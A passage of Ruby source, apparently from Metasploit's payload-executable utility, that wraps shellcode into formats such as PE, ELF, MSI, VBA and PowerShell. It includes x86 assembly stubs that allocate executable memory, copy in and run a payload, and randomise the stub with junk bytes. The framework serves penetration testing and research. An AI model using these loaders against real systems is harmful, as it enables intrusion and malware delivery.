# @option [String] :base_offset
1758
# @option [String] :timestamp_offset
1759
# @option [String] :text_offset
1760
# @option [String] :pack
1761
# @option [String] :uuid_offset
1762
# @return [String]
1763
def self.to_dotnetmem(base=0x12340000, data="", opts = {})
1764
1765
# Allow the user to specify their own DLL template
1766
set_template_default(opts, "dotnetmem.dll")
1767
1768
pe = self.get_file_contents(opts[:template])
1769
1770
# Configure the image base
1771
base_offset = opts[:base_offset] || 180
1772
pe[base_offset, 4] = [base].pack('V')
1773
1774
# Configure the TimeDateStamp
1775
timestamp_offset = opts[:timestamp_offset] || 136
1776
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
1777
1778
# XXX: Unfortunately we cant make this RWX only RX
1779
# Mark this segment as read-execute AND writable
1780
# pe[412,4] = [0xe0000020].pack("V")
1781
1782
# Write the data into the .text segment
1783
text_offset = opts[:text_offset] || 0x1065
1784
text_max = opts[:text_max] || 0x8000
1785
pack = opts[:pack] || 'a32768'
1786
pe[text_offset, text_max] = [data].pack(pack)
1787
1788
# Generic a randomized UUID
1789
uuid_offset = opts[:uuid_offset] || 37656
1790
pe[uuid_offset,16] = Rex::Text.rand_text(16)
1791
1792
pe
1793
end
1794
1795
# self.encode_stub
1796
#
1797
# @param framework [Msf::Framework]
1798
# @param arch [String]
1799
# @param code [String]
1800
# @param platform [String]
1801
# @param badchars [String]
1802
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
1803
return code unless framework.encoders
1804
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
1805
begin
1806
enc = framework.encoders.create(name)
1807
raw = enc.encode(code, badchars, nil, platform)
1808
return raw if raw
1809
rescue
1810
end
1811
end
1812
nil
1813
end
1814
1815
def self.generate_nops(framework, arch, len, opts = {})
1816
opts['BadChars'] ||= ''
1817
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
1818
1819
return nil unless framework.nops
1820
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
1821
begin
1822
nop = framework.nops.create(name)
1823
raw = nop.generate_sled(len, opts)
1824
return raw if raw
1825
rescue
1826
# @TODO: stop rescuing everying on each of these, be selective
1827
end
1828
end
1829
nil
1830
end
1831
1832
# This wrapper is responsible for allocating RWX memory, copying the
1833
# target code there, setting an exception handler that calls ExitProcess
1834
# and finally executing the code.
1835
def self.win32_rwx_exec(code)
1836
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1837
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1838
arch: ARCH_X86,
1839
name: 'api_call'
1840
)
1841
1842
stub_exit = %Q^
1843
; Input: EBP must be the address of 'api_call'.
1844
; Output: None.
1845
; Clobbers: EAX, EBX, (ESP will also be modified)
1846
; Note: Execution is not expected to (successfully) continue past this block
1847
1848
exitfunk:
1849
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
1850
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
1851
mov eax, ebp
1852
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
1853
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1854
jl goodbye ; Then just call the exit function...
1855
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1856
jne goodbye ;
1857
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1858
goodbye: ; We now perform the actual call to the exit function
1859
push byte 0 ; push the exit function parameter
1860
push ebx ; push the hash of the exit function
1861
call ebp ; call EXITFUNK( 0 );
1862
^
1863
1864
stub_alloc = %Q^
1865
cld ; Clear the direction flag.
1866
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1867
delta: ;
1868
#{stub_block}
1869
start: ;
1870
pop ebp ; Pop off the address of 'api_call' for calling later.
1871
1872
allocate_size:
1873
mov esi, #{code.length}
1874
1875
allocate:
1876
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1877
push 0x1000 ; MEM_COMMIT
1878
push esi ; Push the length value of the wrapped code block
1879
push byte 0 ; NULL as we dont care where the allocation is.
1880
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
1881
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1882
1883
mov ebx, eax ; Store allocated address in ebx
1884
mov edi, eax ; Prepare EDI with the new address
1885
mov ecx, esi ; Prepare ECX with the length of the code
1886
call get_payload
1887
got_payload:
1888
pop esi ; Prepare ESI with the source to copy
1889
rep movsb ; Copy the payload to RWX memory
1890
call set_handler ; Configure error handling
1891
1892
exitblock:
1893
#{stub_exit}
1894
set_handler:
1895
xor eax,eax
1896
push dword [fs:eax]
1897
mov dword [fs:eax], esp
1898
call ebx
1899
jmp exitblock
1900
^
1901
1902
stub_final = %Q^
1903
get_payload:
1904
call got_payload
1905
payload:
1906
; Append an arbitrary payload here
1907
^
1908
1909
stub_alloc.gsub!('short', '')
1910
stub_alloc.gsub!('byte', '')
1911
1912
wrapper = ""
1913
# regs = %W{eax ebx ecx edx esi edi ebp}
1914
1915
cnt_jmp = 0
1916
stub_alloc.each_line do |line|
1917
line.gsub!(/;.*/, '')
1918
line.strip!
1919
next if line.empty?
1920
1921
wrapper << "nop\n" if rand(2) == 0
1922
1923
if rand(2) == 0
1924
wrapper << "jmp autojump#{cnt_jmp}\n"
1925
1.upto(rand(8)+8) do
1926
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1927
end
1928
wrapper << "autojump#{cnt_jmp}:\n"
1929
cnt_jmp += 1
1930
end
1931
wrapper << line + "\n"
1932
end
1933
1934
wrapper << stub_final
1935
1936
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1937
enc.data + code
1938
end
1939
1940
# This wrapper is responsible for allocating RWX memory, copying the
1941
# target code there, setting an exception handler that calls ExitProcess,
1942
# starting the code in a new thread, and finally jumping back to the next
1943
# code to execute. block_offset is the offset of the next code from
1944
# the start of this code
1945
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1946
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1947
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1948
arch: ARCH_X86,
1949
name: 'api_call'
1950
)
1951
1952
stub_exit = %Q^
1953
; Input: EBP must be the address of 'api_call'.
1954
; Output: None.
1955
; Clobbers: EAX, EBX, (ESP will also be modified)
1956
; Note: Execution is not expected to (successfully) continue past this block
1957
1958
exitfunk:
1959
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
1960
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
1961
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1962
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1963
jl goodbye ; Then just call the exit function...
1964
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1965
jne goodbye ;
1966
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1967
goodbye: ; We now perform the actual call to the exit function
1968
push byte 0 ; push the exit function parameter
1969
push ebx ; push the hash of the exit function
1970
call ebp ; call EXITFUNK( 0 );
1971
^
1972
1973
stub_alloc = %Q^
1974
pushad ; Save registers
1975
cld ; Clear the direction flag.
1976
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1977
delta: ;
1978
#{stub_block}
1979
start: ;
1980
pop ebp ; Pop off the address of 'api_call' for calling later.
1981
1982
allocate_size:
1983
mov esi,#{code.length}
1984
1985
allocate:
1986
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1987
push 0x1000 ; MEM_COMMIT
1988
push esi ; Push the length value of the wrapped code block
1989
push byte 0 ; NULL as we dont care where the allocation is.
1990
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
1991
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1992
1993
mov ebx, eax ; Store allocated address in ebx
1994
mov edi, eax ; Prepare EDI with the new address
1995
mov ecx, esi ; Prepare ECX with the length of the code
1996
call get_payload
1997
got_payload:
1998
pop esi ; Prepare ESI with the source to copy
1999
rep movsb ; Copy the payload to RWX memory
2000
call set_handler ; Configure error handling
2001
2002
exitblock:
2003
#{stub_exit}
2004
2005
set_handler:
2006
xor eax,eax
2007
; push dword [fs:eax]
2008
; mov dword [fs:eax], esp
2009
push eax ; LPDWORD lpThreadId (NULL)
2010
push eax ; DWORD dwCreationFlags (0)
2011
push eax ; LPVOID lpParameter (NULL)
2012
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
2013
push eax ; SIZE_T dwStackSize (0 for default)
2014
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
2015
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
2016
call ebp ; Spawn payload thread
2017
2018
pop eax ; Skip
2019
; pop eax ; Skip
2020
pop eax ; Skip
2021
popad ; Get our registers back
2022
; sub esp, 44 ; Move stack pointer back past the handler
2023
^
2024
2025
stub_final = %Q^
2026
get_payload:
2027
call got_payload
2028
payload:
2029
; Append an arbitrary payload here
2030
^
2031
2032
2033
stub_alloc.gsub!('short', '')
2034
stub_alloc.gsub!('byte', '')
2035
2036
wrapper = ""
2037
# regs = %W{eax ebx ecx edx esi edi ebp}
2038
2039
cnt_jmp = 0
2040
cnt_nop = 64
2041
2042
stub_alloc.each_line do |line|
2043
line.gsub!(/;.*/, '')
2044
line.strip!
2045
next if line.empty?
2046
2047
if cnt_nop > 0 && rand(4) == 0
2048
wrapper << "nop\n"
2049
cnt_nop -= 1
2050
end
2051
2052
if cnt_nop > 0 && rand(16) == 0
2053
cnt_nop -= 2
2054
cnt_jmp += 1
2055
2056
wrapper << "jmp autojump#{cnt_jmp}\n"
2057
1.upto(rand(8)+1) do
2058
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
2059
cnt_nop -= 1
2060
end
2061
wrapper << "autojump#{cnt_jmp}:\n"
2062
end
2063
wrapper << line + "\n"
2064
end
2065
2066
# @TODO: someone who knows how to use metasm please explain the right way to do this.
2067
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
2068
wrapper << stub_final
2069
2070
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
2071
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
2072
res = enc.data + code
2073
2074
if which_offset == 'start'
2075
res[soff,4] = [block_offset - (soff + 4)].pack('V')
2076
elsif which_offset == 'end'
2077
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
2078
else
2079
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
2080
end
2081
res
2082
end
2083
2084
2085
#
2086
# Generate an executable of a given format suitable for running on the
2087
# architecture/platform pair.
2088
#
2089
# This routine is shared between msfvenom, rpc, and payload modules (use
2090
# <payload>)
2091
#
2092
# @param framework [Framework]
2093
# @param arch [String] Architecture for the target format; one of the ARCH_*
2094
# constants
2095
# @param plat [#index] platform
2096
# @param code [String] The shellcode for the resulting executable to run
2097
# @param fmt [String] One of the executable formats as defined in
2098
# {.to_executable_fmt_formats}
2099
# @param exeopts [Hash] Passed directly to the appropriate method for
2100
# generating an executable for the given +arch+/+plat+ pair.
2101
# @return [String] An executable appropriate for the given
2102
# architecture/platform pair.
2103
# @return [nil] If the format is unrecognized or the arch and plat don't
2104
# make sense together.
2105
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2106
# For backwards compatibility with the way this gets called when
2107
# generating from Msf::Simple::Payload.generate_simple
2108
if arch.kind_of? Array
2109
output = nil
2110
arch.each do |a|
2111
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
2112
break if output
2113
end
2114
return output
2115
end
2116
2117
# otherwise the result of this huge case statement is returned
2118
case fmt
2119
when 'asp'
2120
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2121
Msf::Util::EXE.to_exe_asp(exe, exeopts)
2122
when 'aspx'
2123
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
2124
when 'aspx-exe'
2125
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2126
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
2127
when 'dll'
2128
case arch
2129
when ARCH_X86,nil
2130
to_win32pe_dll(framework, code, exeopts)
2131
when ARCH_X64
2132
to_win64pe_dll(framework, code, exeopts)
2133
end
2134
when 'exe'
2135
case arch
2136
when ARCH_X86,nil
2137
to_win32pe(framework, code, exeopts)
2138
when ARCH_X64
2139
to_win64pe(framework, code, exeopts)
2140
end
2141
when 'exe-service'
2142
case arch
2143
when ARCH_X86,nil
2144
to_win32pe_service(framework, code, exeopts)
2145
when ARCH_X64
2146
to_win64pe_service(framework, code, exeopts)
2147
end
2148
when 'exe-small'
2149
case arch
2150
when ARCH_X86,nil
2151
to_win32pe_old(framework, code, exeopts)
2152
when ARCH_X64
2153
to_win64pe(framework, code, exeopts)
2154
end
2155
when 'exe-only'
2156
case arch
2157
when ARCH_X86,nil
2158
to_winpe_only(framework, code, exeopts)
2159
when ARCH_X64
2160
to_winpe_only(framework, code, exeopts, arch)
2161
end
2162
when 'msi'
2163
case arch
2164
when ARCH_X86,nil
2165
exe = to_win32pe(framework, code, exeopts)
2166
when ARCH_X64
2167
exe = to_win64pe(framework, code, exeopts)
2168
end
2169
exeopts[:uac] = true
2170
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2171
when 'msi-nouac'
2172
case arch
2173
when ARCH_X86,nil
2174
exe = to_win32pe(framework, code, exeopts)
2175
when ARCH_X64
2176
exe = to_win64pe(framework, code, exeopts)
2177
end
2178
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2179
when 'elf'
2180
if elf? code
2181
return code
2182
end
2183
if !plat || plat.index(Msf::Module::Platform::Linux)
2184
case arch
2185
when ARCH_X86,nil
2186
to_linux_x86_elf(framework, code, exeopts)
2187
when ARCH_X64
2188
to_linux_x64_elf(framework, code, exeopts)
2189
when ARCH_AARCH64
2190
to_linux_aarch64_elf(framework, code, exeopts)
2191
when ARCH_PPC64
2192
to_linux_ppc64_elf(framework, code, exeopts)
2193
when ARCH_ARMLE
2194
to_linux_armle_elf(framework, code, exeopts)
2195
when ARCH_MIPSBE
2196
to_linux_mipsbe_elf(framework, code, exeopts)
2197
when ARCH_MIPSLE
2198
to_linux_mipsle_elf(framework, code, exeopts)
2199
when ARCH_RISCV32LE
2200
to_linux_riscv32le_elf(framework, code, exeopts)
2201
when ARCH_RISCV64LE
2202
to_linux_riscv64le_elf(framework, code, exeopts)
2203
end
2204
elsif plat && plat.index(Msf::Module::Platform::BSD)
2205
case arch
2206
when ARCH_X86,nil
2207
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2208
when ARCH_X64
2209
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
2210
end
2211
elsif plat && plat.index(Msf::Module::Platform::Solaris)
2212
case arch
2213
when ARCH_X86,nil
2214
to_solaris_x86_elf(framework, code, exeopts)
2215
end
2216
end
2217
when 'elf-so'
2218
if elf? code
2219
return code
2220
end
2221
if !plat || plat.index(Msf::Module::Platform::Linux)
2222
case arch
2223
when ARCH_X86
2224
to_linux_x86_elf_dll(framework, code, exeopts)
2225
when ARCH_X64
2226
to_linux_x64_elf_dll(framework, code, exeopts)
2227
when ARCH_ARMLE
2228
to_linux_armle_elf_dll(framework, code, exeopts)
2229
when ARCH_AARCH64
2230
to_linux_aarch64_elf_dll(framework, code, exeopts)
2231
when ARCH_RISCV32LE
2232
to_linux_riscv32le_elf_dll(framework, code, exeopts)
2233
when ARCH_RISCV64LE
2234
to_linux_riscv64le_elf_dll(framework, code, exeopts)
2235
end
2236
end
2237
when 'macho', 'osx-app'
2238
if macho? code
2239
macho = code
2240
else
2241
macho = case arch
2242
when ARCH_X86,nil
2243
to_osx_x86_macho(framework, code, exeopts)
2244
when ARCH_X64
2245
to_osx_x64_macho(framework, code, exeopts)
2246
when ARCH_ARMLE
2247
to_osx_arm_macho(framework, code, exeopts)
2248
when ARCH_PPC
2249
to_osx_ppc_macho(framework, code, exeopts)
2250
when ARCH_AARCH64
2251
to_osx_aarch64_macho(framework, code, exeopts)
2252
end
2253
end
2254
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
2255
when 'vba'
2256
Msf::Util::EXE.to_vba(framework, code, exeopts)
2257
when 'vba-exe'
2258
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2259
Msf::Util::EXE.to_exe_vba(exe)
2260
when 'vba-psh'
2261
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
2262
when 'vbs'
2263
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2264
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
2265
when 'loop-vbs'
2266
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2267
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
2268
when 'jsp'
2269
arch ||= [ ARCH_X86 ]
2270
tmp_plat = plat.platforms if plat
2271
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2272
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2273
Msf::Util::EXE.to_jsp(exe)
2274
when 'war'
2275
arch ||= [ ARCH_X86 ]
2276
tmp_plat = plat.platforms if plat
2277
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2278
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2279
Msf::Util::EXE.to_jsp_war(exe)
2280
when 'psh'
2281
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
2282
when 'psh-net'
2283
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
2284
when 'psh-reflection'
2285
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
2286
when 'psh-cmd'
2287
Msf::Util::EXE.to_powershell_command(framework, arch, code)
2288
when 'hta-psh'
2289
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
2290
when 'python-reflection'
2291
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
2292
when 'ducky-script-psh'
2293
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
2294
end
2295
end
2296
2297
# FMT Formats
2298
# self.to_executable_fmt_formats
2299
# @return [Array] Returns an array of strings
2300
def self.to_executable_fmt_formats
2301
[
2302
"asp",
2303
"aspx",
2304
"aspx-exe",
2305
"axis2",
2306
"dll",
2307
"ducky-script-psh",
2308
"elf",
2309
"elf-so",
2310
"exe",
2311
"exe-only",
2312
"exe-service",
2313
"exe-small",
2314
"hta-psh",
2315
"jar",
2316
"jsp",
2317
"loop-vbs",
2318
"macho",
2319
"msi",
2320
"msi-nouac",
2321
"osx-app",
2322
"psh",
2323
"psh-cmd",
2324
"psh-net",
2325
"psh-reflection",
2326
"python-reflection",
2327
"vba",
2328
"vba-exe",
2329
"vba-psh",
2330
"vbs",
2331
"war"
2332
]
2333
end
2334
2335
# self.get_file_contents
2336
#
2337
# @param perms [String]
2338
# @param file [String]
2339
# @return [String]
2340
def self.get_file_contents(file, perms = "rb")
2341
contents = ''
2342
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
2343
contents
2344
end
2345
2346
# self.find_payload_tag
2347
#
2348
# @param mo [String]
2349
# @param err_msg [String]
2350
# @raise [RuntimeError] if the "PAYLOAD:" is not found
2351
# @return [Integer]
2352
def self.find_payload_tag(mo, err_msg)
2353
bo = mo.index('PAYLOAD:')
2354
unless bo
2355
raise RuntimeError, err_msg
2356
end
2357
bo
2358
end
2359
2360
def self.elf?(code)
2361
code[0..3] == "\x7FELF"
2362
end
2363
2364
def self.macho?(code)
2365
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
2366
end
2367
2368
end
2369
end
2370
end
2371
2372